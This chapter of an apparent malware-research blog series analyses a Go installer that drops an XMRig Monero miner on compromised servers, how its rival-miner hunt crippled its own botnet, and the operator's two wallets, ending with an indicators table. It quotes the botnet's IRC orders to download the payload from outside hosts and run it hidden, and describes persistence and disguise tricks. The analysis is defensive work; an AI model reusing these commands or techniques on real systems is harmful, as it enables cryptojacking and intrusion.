ES EN
Index

ksmd-ezo · Chapter 40

Friendly fire

The third piece of SEC's kit is the one that gets paid: an installer written in Go with a Monero miner inside. Its new version has one more letter in its name and a hunt for rival miners. In my cage, the first thing it hunted down was my own instrumentation. In the botnet, it hunted down something else.

Three minutes after letting the worm loose, SEC orders another piece downloaded and started: lab. A little over an hour later they delete lab and order labb downloaded, with an extra b.

in #c, an hour later
!u rm -rf labb
!u rm -rf lab
!u wget 103.191.243[.]96/labb >/dev/null 2>&1 &
!u wget 66.116.196[.]142/labb >/dev/null 2>&1 &
!u wget 47.96.134[.]111/labb > /dev/null 2>&1 &
!u killall -9 wget > /dev/null 2>&1
!u chmod +x labb
!u ./labb > /dev/null 2>&1 &

I opened both. They're almost the same program: an installer written in Go that carries a Monero miner inside. The extra b brings two changes. One takes something away. The other adds a hunt for rival miners that, in my cage, started with my own instrumentation.

SPECIMEN · labb

ksmd-ezo the piece that gets paid

◈ LIVE · DO NOT RUN
sha256
bec53a19cdc6eb681bead47898f512c2f00606302f7b375ab0046ec4b1357e34 (and its previous version, lab, 3f1c25b2e91c327d1ba2d8b409174230bf4080062ae22e98690b0e52fe91c314)
Type
Go 1.26.0, a single source file and only the standard library; static ELF, stripped, compiled as root
Carries inside
XMRig 6.26.0-C7, C3Pool's variant, packed with UPX
Mines for
a Monero wallet, on auto.c3pool.org:80, unencrypted
Where from
downloaded on the channel's orders, from the same distribution as the rest
Antivirus
the installer wasn't on VirusTotal; the XMRig inside is a public build, known since September

01A miner with the miner inside

It doesn't download anything else. The miner travels in the installer's guts, three megabytes compressed. When it starts it looks for somewhere it can execute (/dev/shm, /var/tmp, /tmp and a few more, in that order), creates a hidden .ss directory, drops the miner and a launcher there, and starts it under a name we already know from the other pieces: on disk it's called kworker029 and in the process list it shows up as [kworker/7:1ZZ]. First cousin to the Perl bot's [kworker/2:51S].

The configuration is in the clear: the wallet, the pool on port 80 unencrypted, every CPU thread and huge memory pages to mine faster. It writes that memory reservation to /etc/sysctl.d/99-xmrig.conf, which survives a reboot even though the miner doesn't. And on a real disk it marks its directory immutable with chattr +isa, so it can't be deleted at the first attempt.

In the cage, a virtual machine with no network card and a fake pool inside, it installed completely: it reserved 892 huge pages, spent about four minutes calibrating and introduced itself to the pool. In the clear, for anyone watching the network:

the miner, introducing itself to the pool
{"id":1,"jsonrpc":"2.0","method":"login","params":{
  "login":"844LSsjLwv6eScPm28HfPDXeZ1cTsh1142z7RGDyqKcnTf6xCUcRqQtak1DKDNi2b35F4izqtF2ey5bHbYyzzTbN1CU3jkj",
  "pass":"x",
  "agent":"XMRig/6.26.0-C7 (Linux x86_64) libuv/1.44.2 gcc/13.2.1", …}}

02What one letter changes

I compared lab and labb function by function. Same compiler, same miner byte for byte, same wallet, same pool, same launcher. Thirty-two of their thirty-five common functions are exactly the same size. There are two differences.

lab installed itself in the crontab: one line to start with the machine and another every ten minutes, in a block marked # xmrig-managed. labb removes it, and says so:

labb, reporting to its owner
persistence     : DISABLED (no crontab installed by this installer)

Why it was removed, I don't know. As long as the operator has the Perl bot on the machine, they can relaunch the miner from the channel whenever they like.

And labb adds, as the very first step, a function the program itself announces like this: --- killing c3pool miners by CIDR ---. Machines with weak passwords get broken into by lots of people, and nobody wants to share the CPU. lab already killed rivals by name (xmrig, SRBMiner-MULTI), but a rival with a fake name, like its own, survives. labb looks for them another way: by who they're talking to. If a process has a connection open to the C3Pool pool, it's a C3Pool miner, and it gets killed. To know what "C3Pool" is, it carries two address ranges written in by hand, 103.194.0.0/16 and 52.128.0.0/16.

03The first casualty was the observer

In the cage I set up two fake rivals for it: one process with a connection open to one of those ranges, and another called xmrig that wasn't talking to anyone. And I launched it with my instrumentation around it, to see everything it did.

It drew up a list of six rival-miner candidates: the two decoys, the fake pool and three programs of mine, the one watching it, the one putting a time limit on it and the shell I launched it from. It killed the watcher, and when that went down it took labb with it. The installation never happened.

The explanation lies in where it looks. To find out who a process is talking to, labb reads its connection table in /proc/<pid>/net/tcp. But that table isn't the process's: it belongs to the whole network the process lives in. On a normal machine every process shares the same one, so the moment one has a connection to those ranges, all of them appear to. My decoy that wasn't talking to anyone ended up on the list for sitting next to the one that was.

The only things spared are what the code excludes by hand: itself, process 1 and kernel threads. Nothing else. Not its parent, not processes belonging to the same user, not its own pieces. I moved the instrumentation out of that network, ran it again, and this time it installed completely: that's the run in the previous section.

On a victim, that means a single connection to those two ranges is enough for labb, which runs as whatever user it landed as (often root), to kill everything it finds. SSH, the services. And the Perl bot that launched it, which has no persistence: if it dies, that machine drops out of the channel until the worm gets back in.

And where does that connection come from on a machine in the botnet? From the miner lab had installed an hour earlier. Its own owner's.

04Half the fleet

I didn't see it happen on any victim. I reconstructed it from the outside, from three pieces.

The first is where the pool pointed that day. auto.c3pool.org doesn't have a single address: according to the public record of resolutions, around that time it returned three, and two out of three fell inside labb's ranges. The third, outside, had appeared four days before labb was compiled. So you'd expect that on two out of three machines lab's miner was connected to an address on the list.

The second is my probe. The worm's bots hit it regularly, some like clockwork, every seventy-five minutes all night. I took the ones that had hit it in the hour and a quarter before various moments and counted how many didn't come back in the following hours. At any moment on those days, between 0 and 21 % of the regular bots disappear. At the moment SEC launches labb, 52 % disappear. A day later, 20 of those 23 are still gone, and the three that come back do so between eight and twenty-three hours later, which is what it would take another bot to reinfect them. None of the 23 speaks in the channel again for the rest of the day: going by the rate at which the bots reply, you'd expect about six.

The third is the money.

Chart of the mining rate on C3Pool of the campaign's two wallets, from three hours before to three hours after labb was launched. The current wallet, in orange, moves between 125 and 180 kH/s before the launch, drops briefly to about 100 and climbs above 200 in less than half an hour, where it stays. The October wallet, in blue, falls at the same time from about 96 to about 80 kH/s and doesn't recover.
When labb is launched, one wallet goes up and the other goes down. The mining rate of the campaign's two wallets on C3Pool, in hours relative to the launch. Source: C3Pool's public API.

If labb had simply killed miners, the mining rate would have dropped. It went up. Because labb kills first and then installs and starts its own miner. The machine keeps mining for SEC's wallet. What it no longer has is the bot: nobody can give it orders, and nobody will relaunch the miner when the machine reboots.

Put it all together and a picture emerges: the tool written to drive out rival miners recognised its own owner's miner as a rival and, on about half the fleet, took out the channel it's commanded through. The operator lost command of half the botnet while their pool account went up. It's strong evidence, not direct observation: the order is the only one at that moment, the code does exactly that and the numbers add up, but I wasn't inside any of those machines.

And the other half was saved by a detail that goes back a long way.

05Two wallets

The wallet is in the clear, and C3Pool publishes statistics for each one. I looked them up on the pool's public API.

labb's is young. Its first data point is from 13 November, its first payment, of 0.005 XMR, from the 14th. That day it was mining at about 210 kH/s, which comes to something like a hundred to two hundred machines. It's not much money: together with the other wallet, which I'll come to in a moment, the operation brings in around a hundredth and a half of a monero a day.

But it isn't the only one. In chapter 38 I explained that the operation goes back a long way, and the October installers that others uploaded to VirusTotal carried a cruder miner: a loose binary called softwaretech with its config.json beside it, the same .ss directory and a fake name from the same family, [kworker/0:1Z]. It mined for another wallet:

the October wallet
84ko1ub7P2Y8RywJfAKrroZQZUsAGfYY9V5DFT1sZ3j5BfJjbzHQx1T22RHDp71KGnMReoXUwmDUxVoKZbbkShMWJKHkANK

It's still mining, at about 76 kH/s. It has been paid 61 times since 29 September, about 0.85 XMR in seven weeks, and it has been running at full power since the first week. That doesn't look like a wallet that's just starting: it looks like a fleet that already existed and switched to getting paid at a different address in late September. The previous one I haven't found.

Chart of the mining rate on C3Pool of the two wallets, from 9 to 15 November. The October wallet, in blue, moves between 100 and 250 kH/s until 13 November, when it drops from about 245 to about 100. That same day the current wallet appears, in orange, with about 80 to 170 kH/s. At labb's launch, on the 14th, the orange line climbs above 200 and the blue one drops below 100.
A half-finished handover. The new wallet is born on 13 November taking over part of what the October one was mining, and the two move at the same time, in opposite directions, when labb is launched. Source: C3Pool's public API.

The week's chart tells the rest. On 13 November the October wallet loses more than half its rate and, that same day, the new one is born with something similar: part of the miners switch wallets. The next day, when labb is launched, one goes up and the other goes down at the same time. labb hunts by range without checking who each miner is mining for, so wherever it finds an old miner it kills it and puts its own in. A third party reusing the kit wouldn't be moving someone else's miners. The two wallets very probably belong to the same operator.

The October miners identify themselves to the pool with the name of the infected server. I'm not publishing them: they're victims. But there's one that is literally called HOSTNAME_HERE: the author's template, never filled in.

And now the detail. The October miners didn't point to auto.c3pool.org by name but to fixed pool addresses: some in 103.194.186.x and others in 52.128.244.x. They're exactly the two ranges labb carries written in by hand. The author took their list of C3Pool addresses from their own old configurations. That's why labb didn't know the pool's new address, the one that appeared four days before it was compiled. And that's why, on the machines where lab's miner had landed on that new address, the hunt didn't trigger and the bot survived. What saved part of SEC's fleet was a gap in its own author's list.

All told, with both wallets, the operation has made less than one monero in three months. For that it has hundreds of servers with an open door, many of them mail servers, government and business machines, and a list in a collector with the password for each one. What they do with that list, apart from mining, I don't know.

What was done, and what wasn'tlab and labb were detonated in a virtual machine with no network card, with a fake DNS and a fake pool inside; everything was destroyed afterwards. The wallets were looked up on C3Pool's public API. No machine in the fleet and nothing of the operator's has been touched. The killing spree on a full machine hasn't been reproduced: what happened to the fleet is a reconstruction from the outside.

06Indicators

The IRC command channel's indicators are in chapter 38 and the worm's in 39. These are the miner's.

TypeValue
Wallet (November)844LSsjLwv6eScPm28HfPDXeZ1cTsh1142z7RGDyqKcnTf6xCUcRqQtak1DKDNi2b35F4izqtF2ey5bHbYyzzTbN1CU3jkj
Wallet (October)84ko1ub7P2Y8RywJfAKrroZQZUsAGfYY9V5DFT1sZ3j5BfJjbzHQx1T22RHDp71KGnMReoXUwmDUxVoKZbbkShMWJKHkANK
Poolauto.c3pool.org:80, without TLS · in October, by IP: 103.194.186.x and 52.128.244.x, port 19999
Network signatureJSON-RPC "method":"login" in the clear to port 80, with the wallet and agent: XMRig/6.26.0-C7 (Linux x86_64)
Process and diskon disk kworker029, in the process list [kworker/7:1ZZ] · .ss directory (or .ss-N) in /dev/shm, /var/tmp, /tmp, /opt, /run/user/… or ~/.cache, ~/.local, ~/.config · launcher r with # xmrig-managed runner · sfs.log · link .[kworker_7:1ZZ]
Traces on the system/etc/sysctl.d/99-xmrig.conf with vm.nr_hugepages · directory with chattr +isa · in lab, crontab block # xmrig-managed with @reboot and */10
Rival hunt (labb only)kills processes that see a TCP connection to 103.194.0.0/16 or 52.128.0.0/16, or that carry c3pool or those prefixes in their command line or environment · strings --- killing c3pool miners by CIDR ---, killed %d c3pool miner(s), [OUT OF CONFIGURED CIDR — add it!]
Octoberminer softwaretech with a separate config.json · fake name [kworker/0:1Z] · directories .ss, .fedd, .bbd
SHA-256labb bec53a19cdc6eb681bead47898f512c2f00606302f7b375ab0046ec4b1357e34 · lab 3f1c25b2e91c327d1ba2d8b409174230bf4080062ae22e98690b0e52fe91c314 · embedded XMRig, packed 37f975cb5b9ce21f3c153cdb1f7ff3e9d56950b0e10fb58b7b8a3814c1f8ca11 and unpacked 6117fdf5c647aea49913b960ccbd4f545fbe048f87934fd7498e1460b0bec223

The miner is easy to spot: a [kworker/7:1ZZ] that isn't a kernel thread, the CPU at a hundred per cent and a login in the clear to a pool. If that machine is also missing its [kworker/2:51S], labb may already have been through. labb even carries a warning for its author, in case the pool changes address: [OUT OF CONFIGURED CIDR — add it!]. It prints it to the screen, and SEC launches it with >/dev/null.

To be continued - the two worms I know of expire on 17 November at midnight. If the rule holds, SEC will have to compile another one, and it will carry another time inside. 🍯

Comments